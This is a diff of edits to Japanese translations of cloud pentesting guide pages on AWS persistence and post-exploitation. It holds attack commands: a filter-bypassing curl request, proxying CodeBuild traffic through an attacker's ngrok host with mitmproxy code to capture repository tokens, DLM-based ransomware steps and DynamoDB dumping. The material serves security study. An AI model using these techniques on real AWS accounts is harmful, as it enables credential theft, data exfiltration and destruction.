-すべてのトピックからすべてのメッセージを引き続き抽出するために、攻撃者は**すべてのトピックのためにサブスクライバーを作成する**ことができます。
+すべてのトピックからすべてのメッセージを引き続き抽出するために、攻撃者は**すべてのトピックのサブスクライバーを作成**することができます。
 
-**トピックがFIFOタイプの場合**、**SQS**プロトコルを使用するサブスクライバーのみが使用できます。
+**トピックがFIFOタイプ**の場合、**SQS**プロトコルを使用するサブスクライバーのみが使用できます。
 ```bash
 aws sns subscribe --region <region> \
 --protocol http \

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md

@@ -12,8 +12,8 @@
 
 ### リソースポリシーの使用
 
-SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\
-次のポリシーは、AWS内のすべての人に**MyTestQueue**というキュー内のすべてのものへのアクセスを許可します：
+SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することが可能です。\
+次のポリシーは、AWS内のすべての人に**MyTestQueue**というキュー内のすべてのアクセスを許可します：
 ```json
 {
 "Version": "2008-10-17",
@@ -32,6 +32,6 @@ SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っ
 }
 ```
 > [!NOTE]
-> 新しいメッセージがキューに追加されるたびに、**攻撃者のアカウントでLambdaをトリガーすることもできます**（再度追加する必要があります）。これに関しては、以下の指示に従ってください: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+> 新しいメッセージがキューに追加されるたびに、**攻撃者のアカウントでLambdaをトリガーすることもできます**（再度追加する必要があります）。これについては、次の手順に従ってください: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md

@@ -1 +1 @@
-# AWS - SSM Perssitence
+# AWS - SSM 永続性

src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md

@@ -12,7 +12,7 @@
 
 ### ステップ関数のバックドア
 
-ステップ関数にバックドアを仕掛けて、実行されるたびに悪意のあるステップを実行するようにします。
+ステップ関数にバックドアを仕掛けて、持続性のトリックを実行させることで、実行されるたびに悪意のあるステップを実行させることができます。
 
 ### バックドアリングエイリアス
 

src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md

@@ -12,7 +12,7 @@
 
 ### Assume role token
 
-一時的なトークンはリストできないため、アクティブな一時的トークンを維持することが持続性を維持する方法です。
+一時的なトークンはリストできないため、アクティブな一時トークンを維持することが持続性を保つ方法です。
 
 <pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
 
@@ -22,13 +22,13 @@ aws sts get-session-token \
 --token-code &#x3C;code-from-token>
 
 # ハードウェアデバイス名は通常、デバイスの背面にある番号、例えばGAHT12345678です
-<strong># SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/usernameです
-</strong># 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/usernameです
+<strong># SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/username
+</strong># 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/username
 </code></pre>
 
 ### Role Chain Juggling
 
-[**ロールチェイニングは認められたAWSの機能です**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)が、しばしばステルス持続性を維持するために利用されます。これは、**あるロールを引き受け、その後別のロールを引き受ける**能力を含み、**循環的な方法**で最初のロールに戻る可能性があります。ロールが引き受けられるたびに、資格情報の有効期限フィールドが更新されます。したがって、2つのロールが互いに引き受けるように設定されている場合、この設定は資格情報の永続的な更新を可能にします。
+[**ロールチェイニングは認められたAWSの機能です**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)が、しばしばステルス持続性を維持するために利用されます。これは、**あるロールを引き受け、その後別のロールを引き受ける**能力を含み、**循環的に**最初のロールに戻る可能性があります。ロールが引き受けられるたびに、資格情報の有効期限フィールドが更新されます。したがって、2つのロールが互いに引き受けるように設定されている場合、この設定は資格情報の永続的な更新を可能にします。
 
 この[**ツール**](https://github.com/hotnops/AWSRoleJuggler/)を使用してロールチェイニングを維持できます：
 ```bash
@@ -40,7 +40,7 @@ optional arguments:
 -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
 ```
 > [!CAUTION]
-> 注意してください、そのGitHubリポジトリの[find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py)スクリプトは、ロールチェーンが構成できるすべての方法を見つけるわけではありません。
+> 注意してください、そのGitHubリポジトリの[find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py)スクリプトは、ロールチェーンが構成されるすべての方法を見つけるわけではありません。
 
 <details>
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md

@@ -10,37 +10,37 @@
 ../aws-services/aws-api-gateway-enum.md
 {{#endref}}
 
-### 公開されていないAPIへのアクセス
+### 未公開APIへのアクセス
 
 [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) でサービス `com.amazonaws.us-east-1.execute-api` を使用してエンドポイントを作成し、アクセス可能なネットワーク（EC2マシン経由の可能性あり）でエンドポイントを公開し、すべての接続を許可するセキュリティグループを割り当てます。\
 その後、EC2マシンからエンドポイントにアクセスできるようになり、以前は公開されていなかったゲートウェイAPIを呼び出すことができます。
 
-### リクエストボディのパススルーをバイパスする
+### リクエストボディのパススルーをバイパス
 
 この技術は[**このCTFの解説**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp)で見つかりました。
 
 [AWSのドキュメント](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html)の`PassthroughBehavior`セクションに示されているように、デフォルトでは、**`WHEN_NO_MATCH`**の値は、リクエストの**Content-Type**ヘッダーをチェックする際に、リクエストを変換せずにバックエンドに渡します。
 
-したがって、CTFではAPI Gatewayに統合テンプレートがあり、`Content-Type: application/json`でリクエストが送信されたときに**フラグが応答で流出するのを防いでいました**：
+したがって、CTFではAPI Gatewayに統合テンプレートがあり、`Content-Type: application/json`でリクエストが送信されたときに**フラグが応答で流出するのを防いでいました**。
 ```yaml
 RequestTemplates:
 application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
 ```
-しかし、**`Content-type: text/json`**を使用してリクエストを送信すると、そのフィルターを回避できます。
+しかし、**`Content-type: text/json`**を持つリクエストを送信することで、そのフィルターを回避できます。
 
-最後に、API Gatewayが`Get`と`Options`のみを許可していたため、ボディにクエリを含むPOSTリクエストを送信し、ヘッダー`X-HTTP-Method-Override: GET`を使用することで、任意のdynamoDBクエリを制限なしに送信することが可能でした：
+最後に、API Gatewayは`Get`と`Options`のみを許可していたため、ボディにクエリを含むPOSTリクエストを送信し、ヘッダー`X-HTTP-Method-Override: GET`を使用することで、任意のdynamoDBクエリを制限なしに送信することが可能でした：
 ```bash
 curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
 ```
 ### Usage Plans DoS
 
-**列挙**セクションでは、**使用プラン**を**取得する**方法を確認できます。キーを持っていて、それが**月あたりX回の使用に制限されている**場合、**単に使用してDoSを引き起こす**ことができます。
+**Enumeration** セクションでは、キーの **使用プラン** を **取得する方法** を確認できます。キーがあり、**月あたりの使用回数がX回に制限されている**場合、**それを使用してDoSを引き起こすことができます**。
 
-**APIキー**は、**`x-api-key`**という**HTTPヘッダー**に**含める**必要があります。
+**API Key** は、**`x-api-key`** という **HTTPヘッダー** に **含める** 必要があります。
 
 ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
 
-`apigateway:UpdateGatewayResponse`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**既存のGateway Responseを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。
+`apigateway:UpdateGatewayResponse` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存のGateway Responseを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。
 ```bash
 API_ID="your-api-id"
 RESPONSE_TYPE="DEFAULT_4XX"
@@ -96,7 +96,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 
 ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
 
-`apigateway:UpdateRestApi`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**API Gateway REST APIの設定を変更してログを無効にしたり、最小TLSバージョンを変更したりすることができ、APIのセキュリティを弱める可能性があります**。
+`apigateway:UpdateRestApi`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**API Gateway REST APIの設定を変更してログ記録を無効にしたり、最小TLSバージョンを変更したりすることができ、APIのセキュリティを弱める可能性があります**。
 ```bash
 API_ID="your-api-id"
 
@@ -113,7 +113,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 
 ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
 
-`apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`、および `apigateway:CreateUsagePlanKey` の権限を持つ攻撃者は、**新しいAPIキーを作成し、それらを使用プランに関連付け、これらのキーを使用してAPIへの未承認のアクセスを行うことができます**。
+`apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`、および`apigateway:CreateUsagePlanKey`の権限を持つ攻撃者は、**新しいAPIキーを作成し、それらを使用プランに関連付け、これらのキーを使用してAPIへの未承認のアクセスを行うことができます**。
 ```bash
 # Create a new API key
 API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -127,6 +127,6 @@ aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_K
 **潜在的な影響**: APIリソースへの不正アクセス、セキュリティコントロールのバイパス。
 
 > [!NOTE]
-> テストが必要です
+> テストが必要
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md

@@ -12,7 +12,7 @@
 
 ### 中間者攻撃
 
-この[**ブログ記事**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)では、**Lambda**を追加（または既に使用されている場合は修正）して、**CloudFrontを通じた通信**でユーザー情報（セッション**クッキー**など）を**盗む**ことや、**レスポンス**を**変更する**（悪意のあるJSスクリプトを注入する）いくつかの異なるシナリオが提案されています。
+この[**ブログ投稿**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)では、**Lambda**を**CloudFront**を通じた**通信**に追加（または既に使用されている場合は変更）することで、ユーザー情報（セッション**クッキー**など）を**盗む**ことと、**応答**を**変更**する（悪意のあるJSスクリプトを注入する）いくつかの異なるシナリオが提案されています。
 
 #### シナリオ 1: CloudFrontがバケットのHTMLにアクセスするように設定されているMitM
 
@@ -20,12 +20,12 @@
 - CloudFrontディストリビューションに**関連付け**ます。
 - **イベントタイプを「Viewer Response」に設定**します。
 
-レスポンスにアクセスすることで、ユーザーのクッキーを盗み、悪意のあるJSを注入できます。
+応答にアクセスすることで、ユーザーのクッキーを盗み、悪意のあるJSを注入できます。
 
 #### シナリオ 2: CloudFrontが既にlambda関数を使用しているMitM
 
-- 機密情報を盗むためにlambda関数の**コードを修正**します。
+- 機密情報を盗むためにlambda関数の**コードを変更**します。
 
-このシナリオを再現するための[**tfコードはこちらで確認できます**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)。
+このシナリオを再現するための[**tfコードはこちら**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)で確認できます。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md

@@ -1,4 +1,4 @@
-# AWS - CodeBuild Post Exploitation
+# AWS - CodeBuild ポストエクスプロイテーション
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
@@ -12,23 +12,23 @@
 
 ### シークレットの確認
 
-Github、Gitlab、またはBitbucketに接続するためにCodebuildに設定された資格情報が、個人トークン、パスワード、またはOAuthトークンアクセスの形式である場合、これらの**資格情報はシークレットマネージャーにシークレットとして保存されます**。\
+もし認証情報がCodebuildに設定されてGithub、Gitlab、またはBitbucketに接続するための個人トークン、パスワード、またはOAuthトークンアクセスの形で設定されている場合、これらの**認証情報はシークレットマネージャーにシークレットとして保存されます**。\
 したがって、シークレットマネージャーを読み取るアクセス権があれば、これらのシークレットを取得し、接続されたプラットフォームにピボットすることができます。
 
 {{#ref}}
 ../../aws-privilege-escalation/aws-secrets-manager-privesc.md
 {{#endref}}
 
-### CodeBuildリポジトリアクセスの悪用
+### CodeBuild リポジトリアクセスの悪用
 
-**CodeBuild**を構成するには、使用するコードリポジトリへの**アクセスが必要です**。このコードをホストしているプラットフォームはいくつかあります：
+**CodeBuild**を構成するためには、使用するコードリポジトリへの**アクセスが必要です**。このコードをホストしているプラットフォームはいくつかあります：
 
 <figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
 
-**CodeBuildプロジェクトは、設定されたソースプロバイダーへのアクセスを持っている必要があります**。これは**IAMロール**またはgithub/bitbucketの**トークンまたはOAuthアクセス**を介して行われます。
+**CodeBuildプロジェクトは、設定されたソースプロバイダーへのアクセスを持っている必要があります**。これは**IAMロール**を介して、またはgithub/bitbucketの**トークンまたはOAuthアクセス**を介して行われます。
 
-**CodeBuildで権限が昇格した攻撃者**は、この設定されたアクセスを悪用して、設定されたリポジトリのコードや、設定された資格情報がアクセスできる他のリポジトリを漏洩させることができます。\
-これを行うには、攻撃者は単に**設定された資格情報がアクセスできる各リポジトリのリポジトリURLを変更する必要があります**（awsのウェブサイトがすべてをリストアップします）：
+**CodeBuild**で**昇格した権限を持つ攻撃者**は、この設定されたアクセスを悪用して、設定されたリポジトリのコードや、設定された認証情報がアクセスできる他のリポジトリを漏洩させることができます。\
+これを行うために、攻撃者は単に**設定された認証情報がアクセスできる各リポジトリのリポジトリURLを変更する必要があります**（awsのウェブサイトがすべてをリストアップします）：
 
 <figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
 
@@ -40,7 +40,7 @@ Github、Gitlab、またはBitbucketに接続するためにCodebuildに設定
 
 ### AWS CodeBuildからのアクセス・トークンの漏洩
 
-CodeBuildでGithubのようなプラットフォームに与えられたアクセスを漏洩させることができます。外部プラットフォームへのアクセスが与えられたかどうかを確認してください：
+CodeBuildで与えられたアクセスをGithubなどのプラットフォームに漏洩させることができます。外部プラットフォームへのアクセスが与えられているか確認してください：
 ```bash
 aws codebuild list-source-credentials
 ```
@@ -71,6 +71,6 @@ aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
 ```sql
 aws codebuild delete-source-credentials --arn <value>
 ```
-**潜在的な影響**: ソース認証情報の削除により、影響を受けたリポジトリに依存するアプリケーションの正常な機能が妨げられる。 
+**潜在的な影響**: ソース認証情報の削除により、影響を受けたリポジトリに依存するアプリケーションの正常な機能が妨げられること。 
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md

@@ -10,19 +10,19 @@ aws codebuild list-source-credentials
 ```
 ### Via Docker Image
 
-もし、例えばGithubへの認証がアカウントに設定されていることがわかった場合、Codebuildに**特定のDockerイメージ**を使用させてプロジェクトのビルドを実行させることで、その**アクセス**（**GHトークンまたはOAuthトークン**）を**抽出**することができます。
+アカウントに対して例えばGithubへの認証が設定されていることがわかった場合、Codebuildに**特定のdockerイメージ**を使用させてプロジェクトのビルドを実行させることで、その**アクセス**（**GHトークンまたはOAuthトークン**）を**抽出**することができます。
 
-この目的のために、**新しいCodebuildプロジェクトを作成**するか、既存のものの**環境**を変更して**Dockerイメージ**を設定することができます。
+この目的のために、**新しいCodebuildプロジェクトを作成**するか、既存のプロジェクトの**環境**を変更して**Dockerイメージ**を設定することができます。
 
-使用できるDockerイメージは[https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)です。これは、**env変数`https_proxy`**、**`http_proxy`**、および**`SSL_CERT_FILE`**を設定する非常に基本的なDockerイメージです。これにより、**`https_proxy`**および**`http_proxy`**で指定されたホストのほとんどのトラフィックを傍受し、**`SSL_CERT_FILE`**で指定されたSSL CERTを信頼することができます。
+使用できるDockerイメージは[https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)です。これは非常に基本的なDockerイメージで、**env変数`https_proxy`**、**`http_proxy`**、および**`SSL_CERT_FILE`**を設定します。これにより、**`https_proxy`**および**`http_proxy`**で指定されたホストのほとんどのトラフィックを傍受し、**`SSL_CERT_FILE`**で指定されたSSL CERTを信頼することができます。
 
 1. **自分のDocker MitMイメージを作成してアップロード**
-- リポジトリの指示に従って、プロキシIPアドレスを設定し、SSL証明書を設定して**Dockerイメージをビルド**します。
-- メタデータエンドポイントへのリクエストを傍受しないように、**`http_proxy`を設定しないでください**。
-- **`ngrok`**を使用して、`ngrok tcp 4444`のようにプロキシをホストに設定できます。
+- リポジトリの指示に従ってプロキシIPアドレスを設定し、SSL証明書を設定して**dockerイメージをビルド**します。
+- メタデータエンドポイントへのリクエストを傍受しないように**`http_proxy`を設定しないでください**。
+- **`ngrok`**を使用してプロキシをホストに設定することができます（例：`ngrok tcp 4444`）。
 - Dockerイメージがビルドされたら、**パブリックリポジトリにアップロード**します（Dockerhub、ECR...）。
 2. **環境を設定**
-- **新しいCodebuildプロジェクトを作成**するか、既存のものの環境を**変更**します。
+- **新しいCodebuildプロジェクトを作成**するか、既存のプロジェクトの環境を**変更**します。
 - プロジェクトを**以前に生成したDockerイメージ**を使用するように設定します。
 
 <figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
@@ -36,7 +36,7 @@ mitmproxy --listen-port 4444  --allow-hosts "github.com"
 > [!TIP]
 > 使用された**mitmproxyのバージョンは9.0.1**であり、バージョン10ではこれが機能しない可能性があると報告されています。
 
-4. **ビルドを実行し、認証情報をキャプチャする**
+4. **ビルドを実行し、資格情報をキャプチャする**
 
 - **Authorization**ヘッダーにトークンが表示されます：
 
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
 ```
 ### Via insecureSSL
 
-**Codebuild** プロジェクトには、APIからのみ変更できるウェブに隠された **`insecureSsl`** という設定があります。\
-これを有効にすると、Codebuild はプラットフォームが提供する証明書を **確認せずに** リポジトリに接続できるようになります。
+**Codebuild** プロジェクトには、ウェブ上では隠されている **`insecureSsl`** という設定があり、APIからのみ変更できます。\
+これを有効にすると、Codebuildはプラットフォームが提供する証明書を **確認せずに** リポジトリに接続できるようになります。
 
 - まず、次のようなもので現在の設定を列挙する必要があります:
 ```bash
 aws codebuild batch-get-projects --name <proj-name>
 ```
-- その後、収集した情報を使ってプロジェクト設定の **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、最後に **`insecureSsl=True`** があることに注意してください（これは収集した設定から変更する必要がある唯一の項目です）。
-- さらに、tcp ngrokを指す環境変数 **http_proxy** と **https_proxy** も追加してください：
+- その後、収集した情報を使用してプロジェクト設定の **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、最後に **`insecureSsl=True`** があることに注意してください（これは収集した設定から変更する必要がある唯一の項目です）。
+- さらに、tcp ngrokを指す環境変数 **http_proxy** と **https_proxy** も追加してください。
 ```bash
 aws codebuild update-project --name <proj-name> \
 --source '{
@@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority()
 )
 mitm.run()
 ```
-- 最後に、**プロジェクトをビルド**をクリックすると、**認証情報**が**平文**（base64）でmitmポートに**送信されます**：
+- 最後に、**Build the project**をクリックすると、**credentials**が**クリアテキスト**（base64）でmitmポートに**送信されます**:
 
 <figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### ~~HTTPプロトコル経由~~
 
-> [!TIP] > **この脆弱性は2023年2月20日の週のある時点でAWSによって修正されました（金曜日だと思います）。したがって、攻撃者はもはやこれを悪用できません :)**
+> [!TIP] > **この脆弱性は2023年2月20日の週のある時点でAWSによって修正されました（おそらく金曜日）。したがって、攻撃者はもはやこれを悪用できません :)**
 
-**CodeBuildでの権限が昇格された攻撃者は、設定されたGithub/Bitbucketトークンを漏洩させることができます**。または、権限がOAuth経由で設定されている場合、**コードにアクセスするために使用される一時的なOAuthトークン**です。
+**CodeBuildでの権限が昇格された攻撃者は、設定されたGithub/Bitbucketトークンを漏洩させることができます**。または、OAuth経由で権限が設定されている場合、**コードにアクセスするために使用される一時的なOAuthトークン**です。
 
 - 攻撃者は、CodeBuildプロジェクトに**http_proxy**と**https_proxy**の環境変数を追加し、自分のマシンを指すことができます（例えば`http://5.tcp.eu.ngrok.io:14972`）。
 
@@ -144,8 +144,8 @@ mitm.run()
 
 <figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
 
-- 次に、GitHubリポジトリのURLをHTTPSの代わりにHTTPを使用するように変更します。例えば：`http://github.com/carlospolop-forks/TestActions`
-- 次に、プロキシ変数（http_proxyとhttps_proxy）で指示されたポートで[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)の基本的な例を実行します。
+- 次に、githubリポジトリのURLをHTTPSの代わりにHTTPを使用するように変更します。例えば: `http://github.com/carlospolop-forks/TestActions`
+- その後、プロキシ変数（http_proxyとhttps_proxy）によって指示されたポートで[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)から基本的な例を実行します。
 ```python
 from mitm import MITM, protocol, middleware, crypto
 
@@ -162,7 +162,7 @@ mitm.run()
 ```sh
 aws codebuild start-build --project-name <proj-name>
 ```
-- 最後に、**credentials**は**平文**（base64）でmitmポートに**送信されます**：
+- 最後に、**資格情報**は**平文**（base64）でmitmポートに送信されます：
 
 <figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md

@@ -1,4 +1,4 @@
-# AWS - DLM Post Exploitation
+# AWS - DLMポストエクスプロイテーション
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -6,9 +6,9 @@
 
 ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
 
-ランサムウェア攻撃は、できるだけ多くのEBSボリュームを暗号化し、その後現在のEC2インスタンス、EBSボリューム、およびスナップショットを削除することで実行できます。この悪意のある活動を自動化するために、他のAWSアカウントのKMSキーを使用してスナップショットを暗号化し、暗号化されたスナップショットを別のアカウントに転送するAmazon DLMを利用できます。あるいは、暗号化なしでスナップショットを管理しているアカウントに転送し、そこで暗号化することも可能です。既存のEBSボリュームやスナップショットを直接暗号化するのは簡単ではありませんが、新しいボリュームやスナップショットを作成することで可能です。
+ランサムウェア攻撃は、できるだけ多くのEBSボリュームを暗号化し、その後現在のEC2インスタンス、EBSボリューム、およびスナップショットを削除することで実行できます。この悪意のある活動を自動化するために、Amazon DLMを使用し、別のAWSアカウントのKMSキーでスナップショットを暗号化し、暗号化されたスナップショットを別のアカウントに転送することができます。あるいは、暗号化なしでスナップショットを管理しているアカウントに転送し、そこで暗号化することも可能です。既存のEBSボリュームやスナップショットを直接暗号化するのは簡単ではありませんが、新しいボリュームやスナップショットを作成することで可能です。
 
-まず、インスタンスID、ボリュームID、暗号化ステータス、アタッチメントステータス、ボリュームタイプなどのボリュームに関する情報を収集するコマンドを使用します。
+まず、インスタンスID、ボリュームID、暗号化ステータス、アタッチメントステータス、ボリュームタイプなどのボリュームに関する情報を収集するためのコマンドを使用します。
 
 `aws ec2 describe-volumes`
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## DynamoDB
 
-詳細については、以下を確認してください：
+詳細については、次を確認してください：
 
 {{#ref}}
 ../aws-services/aws-dynamodb-enum.md
@@ -12,7 +12,7 @@
 
 ### `dynamodb:BatchGetItem`
 
-この権限を持つ攻撃者は、**プライマリキーによってテーブルからアイテムを取得することができます**（テーブルのすべてのデータを単に要求することはできません）。これは、プライマリキーを知っている必要があることを意味します（これはテーブルメタデータを取得することで得られます（`describe-table`）。 
+この権限を持つ攻撃者は、**プライマリキーによってテーブルからアイテムを取得することができます**（テーブルのすべてのデータを要求することはできません）。これは、プライマリキーを知っている必要があることを意味します（これはテーブルメタデータを取得することで得られます（`describe-table`））。
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -47,7 +47,7 @@ aws dynamodb batch-get-item \
 
 ### `dynamodb:GetItem`
 
-**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します:
+**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します:
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
@@ -79,7 +79,7 @@ aws dynamodb transact-get-items \
 
 ### `dynamodb:Query`
 
-**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します。これは、[比較のサブセット](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)を使用することを許可しますが、プライマリキーに対して許可される唯一の比較（必ず表示される必要があります）は "EQ" であるため、リクエストで全DBを取得するための比較を使用することはできません。
+**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します。これは、[比較のサブセット](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)を使用することを許可しますが、プライマリキーに対して許可される唯一の比較は "EQ" であるため、リクエストで全DBを取得するための比較を使用することはできません。
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -119,7 +119,7 @@ aws dynamodb scan --table-name <t_name> #Get data inside the table
 
 ### `dynamodb:PartiQLSelect`
 
-この権限を使用すると、**テーブル全体を簡単にダンプできます**。
+この権限を使用して、**テーブル全体を簡単にダンプできます**。
 ```bash
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
@@ -144,12 +144,12 @@ aws dynamodb export-table-to-point-in-time \
 --export-time <point_in_time> \
 --region <region>
 ```
-注意：これが機能するためには、テーブルにポイントインタイムリカバリが有効になっている必要があります。テーブルにそれが有効かどうかは、次のコマンドで確認できます：
+この機能を利用するには、テーブルにポイントインタイムリカバリが有効になっている必要があります。テーブルにそれが有効かどうかは、次のコマンドで確認できます:
 ```bash
 aws dynamodb describe-continuous-backups \
 --table-name <tablename>
 ```
-もしそれが有効でない場合は、**有効にする**必要があり、そのためには**`dynamodb:ExportTableToPointInTime`**権限が必要です:
+それが有効でない場合は、**有効にする**必要があり、そのためには**`dynamodb:ExportTableToPointInTime`**権限が必要です。
 ```bash
 aws dynamodb update-continuous-backups \
 --table-name <value> \
@@ -159,14 +159,14 @@ aws dynamodb update-continuous-backups \
 
 ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
 
-これらの権限を持つ攻撃者は、**バックアップから新しいテーブルを作成**することができる（または、バックアップを作成してから別のテーブルに復元することもできる）。その後、必要な権限があれば、**本番**テーブルにはもはや存在しない可能性のあるバックアップからの**情報**を確認することができる。
+これらの権限を持つ攻撃者は、**バックアップから新しいテーブルを作成**することができる（または、別のテーブルに復元するためにバックアップを作成することさえできる）。その後、必要な権限があれば、**本番**テーブルにはもはや存在しない可能性のあるバックアップから**情報**を確認することができる。
 ```bash
 aws dynamodb restore-table-from-backup \
 --backup-arn <source-backup-arn> \
 --target-table-name <new-table-name> \
 --region <region>
 ```
-**潜在的な影響:** テーブルバックアップ内の機密情報を特定することによる間接的な権限昇格
+**潜在的影響:** テーブルバックアップ内の機密情報を特定することによる間接的な権限昇格
 
 ### `dynamodb:PutItem`
 
@@ -206,7 +206,7 @@ aws dynamodb put-item \
 
 ### `dynamodb:UpdateItem`
 
-この権限は、ユーザーが**アイテムの既存の属性を変更したり、アイテムに新しい属性を追加したりする**ことを許可します。これは**アイテム全体を置き換える**のではなく、指定された属性のみを更新します。プライマリキーがテーブルに存在しない場合、操作は**指定されたプライマリキーを持つ新しいアイテムを作成し、更新式で指定された属性を設定します。**
